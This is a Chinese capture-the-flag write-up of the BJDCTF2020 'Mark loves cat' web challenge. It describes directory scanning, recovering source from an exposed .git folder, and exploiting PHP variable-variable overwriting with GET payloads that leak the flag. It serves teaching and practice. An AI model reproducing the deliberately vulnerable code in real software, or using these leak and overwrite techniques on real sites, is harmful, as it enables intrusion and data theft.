[BJDCTF2020]Mark loves cat

[BJDCTF2020]Mark loves cat
题目:
打开环境,得到:
[BJDCTF2020]Mark loves cat_第1张图片
习惯性的看了下菜单,随便点了点,发现页面最后有个输入框
[BJDCTF2020]Mark loves cat_第2张图片
然后就随便输了几个数字,发现url栏里出现了message=1
[BJDCTF2020]Mark loves cat_第3张图片
我当时就在想可能是sql注入,于是就直接试了下容易报错的'select
[BJDCTF2020]Mark loves cat_第4张图片
但发现页面没有什么变化,于是我又猜测可能是模板注入:
[BJDCTF2020]Mark loves cat_第5张图片
同样的没有回显,说明应该不是sql与模板注入
现在的话就是去扫后台或者是想到源码泄露
我这里先用dirsearch去扫了一下:
[BJDCTF2020]Mark loves cat_第6张图片
发现了存在git泄露,于是就用githack去下载源码,得到:

[BJDCTF2020]Mark loves cat_第7张图片
flag.php:



$flag = file_get_contents('/flag');

index.php:



include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
     
    $$x = $y;
}

foreach($_GET as $x => $y){
     
    $$x = $$y;
}

foreach($_GET as $x => $y){
     
    if($_GET['flag'] === $x && $x !== 'flag'){
     
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
     
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
     
    exit($is);
}



echo "the flag is: ".$flag;

进行一波代码审计:

如果进行get传参,那么传参名会被加上$,传参值也会被加上$,举个例子,假如我们get传入参数:a=b,那么经过foreach之后,就会被替换成:$a=$b

如果进行post传参,那么传参名会被加上$,而传参值不会发生变化,同样举个例子:假设我们post传入参数:a=b,那么经过foreach之后,就会被替换成$a=b

然后是3个连着的if语句,我们要做的就是利用这几个if语句来进行变量的覆盖
这里要简要的说个知识点,是关于exit()函数的:

也就是它虽然会退出执行,但依然会输出其参数,所以我们就要将exit()里面的参数换为我们想要的参数,也就是最后一句的:echo "the flag is: ".$flag;

0x01:
构造payload:

?yds=flag

原因:
通过GET方式传入yds=flag后,会经过foreach函数,然后变成$yds=$flag,然后要用的是这串代码:

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
     
    exit($yds);
}

实际上就是exit($flag),所以得以变量覆盖,在源码里就可以得到flag:
[BJDCTF2020]Mark loves cat_第8张图片
0x02:
构造payload:

?is=flag&flag=flag

原因:
也是通过GET方式传入is=flag&flag=flag后,先经过foreach函数,得到$is=$flag,继续达到这串代码:

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
     
    exit($is);
}

由于中间的连接符是||,所以我们就可以直接构造flag=flag来达到后面的要求
最后也就得以输出,在源码里能看到flag:
[BJDCTF2020]Mark loves cat_第9张图片

你可能感兴趣的:(#,buuoj,php,web)